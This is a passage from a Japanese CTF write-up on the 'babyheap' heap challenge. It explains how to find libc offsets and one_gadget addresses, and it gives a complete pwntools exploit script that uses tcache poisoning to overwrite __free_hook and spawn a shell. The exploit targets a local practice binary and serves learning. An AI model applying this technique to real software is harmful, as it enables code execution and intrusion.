を実行する。
__free_hook
は、ここに格納されているアドレスをfree実行時にフックしてくれるので、Alloc(1)
時に__free_hook
のアドレスにone_gadget
のアドレスを格納できれば攻撃が成功する。man
以上を踏まえてやることとしては、
one_gadget
のアドレスを探す__free_hook
のオフセットを取得するstdin
関数の実行アドレスとオフセットからglibc
のベースアドレスを求める が必要になる。
最後のglibc
のベースアドレスに関しては、エクスプロイトコードの中で求めれば良さそうだが、上2つに関しては事前に調べておく。
one_gadgetのアドレスを調べる
ldd
コマンドでbabyheap
が使っているライブラリを調べる。
# ldd babyheap linux-vdso.so.1 (0x00007fff797fe000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f0adec53000) /lib64/ld-linux-x86-64.so.2 (0x00007f0adf247000)
libc.so.6
の中からone_gadgetを探す。
root@955ba940c3ee:/sandbox/pwn/2_babyheap# one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
__free_hookのオフセットを調べる
libc.so.6
の中から__free_hook
のオフセットを調べる。
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep __free_hook 00000000003ed8e8 V __free_hook
stdinのオフセットを調べる
同様にlibc.so.6
の中から_IO_2_1_stdin_
のオフセットを調べる。
# nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin 00000000003eba00 D _IO_2_1_stdin_ 00000000003ec850 D stdin
エクスプロイト
from pwn import * context(os="linux", arch="amd64") con = process("./babyheap") def alloc(data): con.recvuntil("> ") con.sendline("1") con.recvuntil("Content: ") con.sendline(data) def delete(): con.recvuntil("> ") con.sendline("2") def wipe(): con.recvuntil("> ") con.sendline("3") # Offset stdin_offset = 0x3eba00 free_hook_offset = 0x3ed8e8 one_gadget_offset = 0x4f322 # GLibc Base con.recvuntil(">>>>> ") addr_stdin = int(con.recvuntil(" "), 16) libc_base = addr_stdin - stdin_offset print("[*] libc_base_addr = 0x%x" % libc_base) # TcachePoisoning alloc("test") delete() delete() wipe() alloc(pack(libc_base + free_hook_offset)) wipe() alloc("test") wipe() alloc(pack(libc_base + one_gadget_offset)) # Execute OneGadget delete() con.interactive()
終わりに
初めてのヒープ問題は、個人的には結構難しかった(writeup含め色々な情報を貪った)
babyheap
は 相当 優しいらしいが、知らないといけない情報が多く基礎が全然足りてないのを実感。
攻撃方法やメモリ管理については、今回のウォークスルーで基礎の基礎の基ぐらいは理解できたと思うが、これ系の問題は数こなして色々なパターンに触れないとなんともならないな。と言う感想を抱いた。
終わり